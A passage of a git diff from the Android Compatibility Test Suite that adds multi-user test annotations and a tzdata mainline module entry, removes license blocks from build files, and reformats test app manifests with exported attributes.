+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasTvProfile {
+    /** Which user type the tv profile should be attached to. */
+    DeviceState.UserType forUser() default CURRENT_USER;
+
+    /** Whether the test app should be installed in the tv profile. */
+    boolean installTestApp() default true;
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasWorkProfile.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasWorkProfile.java
new file mode 100644
index 0000000..55109d6
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/EnsureHasWorkProfile.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util.enterprise.annotations;
+
+import static com.android.compatibility.common.util.enterprise.DeviceState.UserType.CURRENT_USER;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a user which has a work profile.
+ *
+ * <p>Use of this annotation implies
+ * {@code RequireFeatures("android.software.managed_users", SKIP)}.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a user which has
+ * a work profile. Otherwise, you can use {@link DeviceState} to ensure that the device enters
+ * the correct state for the method.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface EnsureHasWorkProfile {
+    /** Which user type the work profile should be attached to. */
+    DeviceState.UserType forUser() default CURRENT_USER;
+
+    /** Whether the test app should be installed in the work profile. */
+    boolean installTestApp() default true;
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/Postsubmit.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/Postsubmit.java
new file mode 100644
index 0000000..a2eb6f6
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/Postsubmit.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util.enterprise.annotations;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Marks that a test method should not be run as part of multi-user presubmit, as defined by
+ * tests using multi-user annotations that opt them into presubmit, like
+ * {@link RequireRunOnWorkProfile}.
+ *
+ * <p>This annotation should be used on any new tests running in a multi-user module. Only after
+ * the test has been in postsubmit for some time, demonstrating it is fast and reliable, should the
+ * annotation be removed to allow it to run as part of presubmit.
+ *
+ * <p>It can also be used for tests which don't meet the requirements to be part of multi-user
+ * presubmits.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface Postsubmit {
+    String reason();
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnPrimaryUser.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnPrimaryUser.java
new file mode 100644
index 0000000..808fbca
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnPrimaryUser.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util.enterprise.annotations;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on the primary user.
+ *
+ * <p>Your test configuration should be such that this test is only run on the primary user
+ *
+ * <p>Optionally, you can guarantee that these methods do not run outside of the primary
+ * user by using {@link DeviceState}.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireRunOnPrimaryUser {
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnSecondaryUser.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnSecondaryUser.java
new file mode 100644
index 0000000..37894e0
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnSecondaryUser.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util.enterprise.annotations;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run on a secondary user.
+ *
+ * <p>Your test configuration should be such that this test is only run where a secondary user is
+ * created and the test is being run on that user.
+ *
+ * <p>Optionally, you can guarantee that these methods do not run outside of a secondary user by
+ * using {@link DeviceState}.
+ *
+ * <p>This annotation by default opts a test into multi-user presubmit. New tests should also be
+ * annotated {@link Postsubmit} until they are shown to meet the multi-user presubmit
+ * requirements.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireRunOnSecondaryUser {
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnTvProfile.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnTvProfile.java
new file mode 100644
index 0000000..5cdda67
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnTvProfile.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util.enterprise.annotations;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run within a Tv profile.
+ *
+ * <p>Your test configuration should be such that this test is only run where a Tv profile is
+ * created and the test is being run within that user.
+ *
+ * <p>Optionally, you can guarantee that these methods do not run outside of a Tv
+ * profile by using {@link DeviceState}.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireRunOnTvProfile {
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnWorkProfile.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnWorkProfile.java
new file mode 100644
index 0000000..4c3c816
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/annotations/RequireRunOnWorkProfile.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util.enterprise.annotations;
+
+import com.android.compatibility.common.util.enterprise.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should run within a work profile.
+ *
+ * <p>Your test configuration should be such that this test is only run where a work profile is
+ * created and the test is being run within that user.
+ *
+ * <p>Optionally, you can guarantee that these methods do not run outside of a work
+ * profile by using {@link DeviceState}.
+ *
+ * <p>This annotation by default opts a test into multi-user presubmit. New tests should also be
+ * annotated {@link Postsubmit} until they are shown to meet the multi-user presubmit requirements.
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireRunOnWorkProfile {
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
index fb18b06..1964f64 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -124,6 +124,10 @@
             false, ModuleType.APEX,
             "B7:A3:DB:7A:86:6D:18:51:3F:97:6C:63:20:BC:0F:E6:E4:01:BA:2F:26:96:B1:C3:94:2A:F0"
                     + ":FE:29:31:98:B1"),
+    TZDATA3("com.google.android.tzdata3",
+            true, ModuleType.APEX,
+            "58:8B:C4:EE:04:1F:47:FA:49:01:8F:66:D2:2E:18:16:35:A5:E3:47:15:2C:06:88:D9:F0:47"
+                    + ":B5:9D:66:19:57"),
     ;
 
     public final String packageName;
diff --git a/common/device-side/util-axt/tests/Android.bp b/common/device-side/util-axt/tests/Android.bp
index 73f1b34..0e8dfa0 100644
--- a/common/device-side/util-axt/tests/Android.bp
+++ b/common/device-side/util-axt/tests/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test {
     name: "compatibility-device-util-tests-axt",
 
diff --git a/common/device-side/util/jni/Android.bp b/common/device-side/util/jni/Android.bp
index 45d5ff9..b5b0b56 100644
--- a/common/device-side/util/jni/Android.bp
+++ b/common/device-side/util/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_library_shared {
     name: "libcts_jni",
 
diff --git a/common/host-side/util-axt/Android.bp b/common/host-side/util-axt/Android.bp
index 3fcbc3e..c701cff 100644
--- a/common/host-side/util-axt/Android.bp
+++ b/common/host-side/util-axt/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library_host {
     // The -axt suffix stands for "Android eXTension".
     name: "compatibility-host-util-axt",
diff --git a/common/host-side/util-axt/src/com/android/compatibility/common/util/WindowManagerUtil.java b/common/host-side/util-axt/src/com/android/compatibility/common/util/WindowManagerUtil.java
index 7f165ed..e03cb84 100644
--- a/common/host-side/util-axt/src/com/android/compatibility/common/util/WindowManagerUtil.java
+++ b/common/host-side/util-axt/src/com/android/compatibility/common/util/WindowManagerUtil.java
@@ -64,7 +64,8 @@
             @Nonnull String expectedTitle) throws Exception {
         List<WindowStateProto> windows = getWindows(device);
         for (WindowStateProto window : windows) {
-            if (expectedTitle.equals(window.getIdentifier().getTitle())) {
+            String title = window.getWindowContainer().getIdentifier().getTitle(); 
+            if (expectedTitle.equals(title)) {
                 return window;
             }
         }
diff --git a/helpers/default/Android.bp b/helpers/default/Android.bp
index fa88045..8332a41 100644
--- a/helpers/default/Android.bp
+++ b/helpers/default/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "com.android.cts.helpers.aosp",
     defaults: ["cts_defaults"],
@@ -30,7 +26,7 @@
     srcs: ["src/**/*.java"],
 
     static_libs: [
-        "android-support-test",
+        "androidx.test.rules",
         "cts-helpers-core",
         "cts-helpers-interfaces",
         "ub-uiautomator",
diff --git a/hostsidetests/abioverride/Android.bp b/hostsidetests/abioverride/Android.bp
index c9ee8fe..df1b040 100644
--- a/hostsidetests/abioverride/Android.bp
+++ b/hostsidetests/abioverride/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsAbiOverrideHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/abioverride/TEST_MAPPING b/hostsidetests/abioverride/TEST_MAPPING
new file mode 100644
index 0000000..ae76c92
--- /dev/null
+++ b/hostsidetests/abioverride/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAbiOverrideHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/abioverride/app/Android.bp b/hostsidetests/abioverride/app/Android.bp
index 32cc870..7d32534 100644
--- a/hostsidetests/abioverride/app/Android.bp
+++ b/hostsidetests/abioverride/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAbiOverrideTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/abioverride/app/AndroidManifest.xml b/hostsidetests/abioverride/app/AndroidManifest.xml
index 6135732..d7215df 100755
--- a/hostsidetests/abioverride/app/AndroidManifest.xml
+++ b/hostsidetests/abioverride/app/AndroidManifest.xml
@@ -16,15 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.abioverride.app">
+     package="android.abioverride.app">
 
-    <application android:use32bitAbi="true" android:multiArch="true">
-        <uses-library android:name="android.test.runner" />
+    <application android:use32bitAbi="true"
+         android:multiArch="true">
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name=".AbiOverrideActivity" >
+        <activity android:name=".AbiOverrideActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/hostsidetests/abioverride/app/jni/Android.bp b/hostsidetests/abioverride/app/jni/Android.bp
index 2c5be2d..f3a3f93 100644
--- a/hostsidetests/abioverride/app/jni/Android.bp
+++ b/hostsidetests/abioverride/app/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libctsabioverride",
     srcs: ["CtsAbiOverrideJniOnLoad.cpp"],
diff --git a/hostsidetests/accounts/Android.bp b/hostsidetests/accounts/Android.bp
index 0f79f1f..12b0747 100644
--- a/hostsidetests/accounts/Android.bp
+++ b/hostsidetests/accounts/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsAccountsHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp b/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp
index 86ec360..95059f1 100644
--- a/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp
+++ b/hostsidetests/accounts/test-apps/AccountManagerCrossUserApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAccountManagerCrossUserApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/adb/Android.mk b/hostsidetests/adb/Android.mk
index bfa2b02..ea6eb03 100644
--- a/hostsidetests/adb/Android.mk
+++ b/hostsidetests/adb/Android.mk
@@ -4,8 +4,6 @@
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.host.adb
 LOCAL_MODULE := CtsAdbHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 LOCAL_MODULE_TAGS := optional
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
diff --git a/hostsidetests/adbmanager/Android.bp b/hostsidetests/adbmanager/Android.bp
index 92ae3d2..54616e5 100644
--- a/hostsidetests/adbmanager/Android.bp
+++ b/hostsidetests/adbmanager/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsAdbManagerHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp
index 794ea69..a0faa3b 100644
--- a/hostsidetests/angle/Android.bp
+++ b/hostsidetests/angle/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsAngleIntegrationHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/angle/app/common/Android.bp b/hostsidetests/angle/app/common/Android.bp
index ca1b23f..fe33a37 100644
--- a/hostsidetests/angle/app/common/Android.bp
+++ b/hostsidetests/angle/app/common/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_helper_library {
     name: "AngleIntegrationTestCommon",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/angle/app/driverTest/Android.bp b/hostsidetests/angle/app/driverTest/Android.bp
index e55ee7c..bd52d3a 100644
--- a/hostsidetests/angle/app/driverTest/Android.bp
+++ b/hostsidetests/angle/app/driverTest/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAngleDriverTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/angle/app/driverTest/AndroidManifest.xml b/hostsidetests/angle/app/driverTest/AndroidManifest.xml
index 865b836..73392df 100755
--- a/hostsidetests/angle/app/driverTest/AndroidManifest.xml
+++ b/hostsidetests/angle/app/driverTest/AndroidManifest.xml
@@ -16,24 +16,22 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.angleIntegrationTest.driverTest"
-    android:targetSandboxVersion="2">
+     package="com.android.angleIntegrationTest.driverTest"
+     android:targetSandboxVersion="2">
 
     <application android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.angleIntegrationTest.common.AngleIntegrationTestActivity" >
+        <activity android:name="com.android.angleIntegrationTest.common.AngleIntegrationTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.angleIntegrationTest.driverTest" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.angleIntegrationTest.driverTest"/>
 
 </manifest>
-
-
diff --git a/hostsidetests/angle/app/driverTestSecondary/Android.bp b/hostsidetests/angle/app/driverTestSecondary/Android.bp
index 3291a37..15e8e41 100644
--- a/hostsidetests/angle/app/driverTestSecondary/Android.bp
+++ b/hostsidetests/angle/app/driverTestSecondary/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAngleDriverTestCasesSecondary",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/angle/app/driverTestSecondary/AndroidManifest.xml b/hostsidetests/angle/app/driverTestSecondary/AndroidManifest.xml
index a91da6d..e88a8c3 100755
--- a/hostsidetests/angle/app/driverTestSecondary/AndroidManifest.xml
+++ b/hostsidetests/angle/app/driverTestSecondary/AndroidManifest.xml
@@ -16,22 +16,22 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.angleIntegrationTest.driverTestSecondary"
-    android:targetSandboxVersion="2">
+     package="com.android.angleIntegrationTest.driverTestSecondary"
+     android:targetSandboxVersion="2">
 
     <application android:debuggable="true">
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <activity android:name="com.android.angleIntegrationTest.common.AngleIntegrationTestActivity" >
+        <activity android:name="com.android.angleIntegrationTest.common.AngleIntegrationTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.angleIntegrationTest.driverTestSecondary" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.angleIntegrationTest.driverTestSecondary"/>
 
 </manifest>
diff --git a/hostsidetests/apex/Android.bp b/hostsidetests/apex/Android.bp
index c2004e9..c1c9805 100644
--- a/hostsidetests/apex/Android.bp
+++ b/hostsidetests/apex/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsApexTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/appbinding/app/Android.bp b/hostsidetests/appbinding/app/Android.bp
index eeb1457..fbb4b63 100644
--- a/hostsidetests/appbinding/app/Android.bp
+++ b/hostsidetests/appbinding/app/Android.bp
@@ -25,10 +25,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_defaults {
     name: "cts_hostside_appbinding_defaults",
     libs: ["android.test.base"],
diff --git a/hostsidetests/appbinding/app/app1/AndroidManifest.xml b/hostsidetests/appbinding/app/app1/AndroidManifest.xml
index 12bc545..615315f 100644
--- a/hostsidetests/appbinding/app/app1/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app1/AndroidManifest.xml
@@ -15,72 +15,75 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
+    <uses-permission android:name="android.permission.RECEIVE_MMS"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <!-- Target to-be-bound service. -->
-        <service
-            android:name=".MyService"
-            android:exported="true"
-            android:process=":persistent"
-            android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
+        <service android:name=".MyService"
+             android:exported="true"
+             android:process=":persistent"
+             android:permission="android.permission.BIND_CARRIER_MESSAGING_CLIENT_SERVICE">
             <intent-filter>
-                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE" />
+                <action android:name="android.telephony.action.CARRIER_MESSAGING_CLIENT_SERVICE"/>
             </intent-filter>
         </service>
 
         <!-- Components needed to be an SMS app -->
-        <activity android:name=".MySendToActivity">
+        <activity android:name=".MySendToActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.SEND" />
-                <action android:name="android.intent.action.SENDTO" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.SEND"/>
+                <action android:name="android.intent.action.SENDTO"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
 
         </activity>
 
         <receiver android:name=".sms.MySmsReceiver"
-            android:permission="android.permission.BROADCAST_SMS">
+             android:permission="android.permission.BROADCAST_SMS"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.SMS_DELIVER" />
+                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
             </intent-filter>
         </receiver>
 
         <receiver android:name=".sms.MyMmsReceiver"
-            android:permission="android.permission.BROADCAST_WAP_PUSH">
+             android:permission="android.permission.BROADCAST_WAP_PUSH"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
-                <data android:mimeType="application/vnd.wap.mms-message" />
+                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
+                <data android:mimeType="application/vnd.wap.mms-message"/>
             </intent-filter>
 
         </receiver>
 
         <service android:name=".sms.MyRespondService"
-            android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" >
+             android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="sms" />
-                <data android:scheme="smsto" />
-                <data android:scheme="mms" />
-                <data android:scheme="mmsto" />
+                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="sms"/>
+                <data android:scheme="smsto"/>
+                <data android:scheme="mms"/>
+                <data android:scheme="mmsto"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.appbinding.app" />
+         android:targetPackage="com.android.cts.appbinding.app"/>
 </manifest>
diff --git a/hostsidetests/appbinding/app/app2/AndroidManifest.xml b/hostsidetests/appbinding/app/app2/AndroidManifest.xml
index 9541cd2..b0935a5 100644
--- a/hostsidetests/appbinding/app/app2/AndroidManifest.xml
+++ b/hostsidetests/appbinding/app/app2/AndroidManifest.xml
@@ -15,72 +15,75 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.appbinding.app" >
+     package="com.android.cts.appbinding.app">
 
-    <uses-permission android:name="android.permission.WRITE_SMS" />
-    <uses-permission android:name="android.permission.READ_SMS" />
-    <uses-permission android:name="android.permission.SEND_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
-    <uses-permission android:name="android.permission.RECEIVE_MMS" />
+    <uses-permission android:name="android.permission.WRITE_SMS"/>
+    <uses-permission android:name="android.permission.READ_SMS"/>
+    <uses-permission android:name="android.permission.SEND_SMS"/>
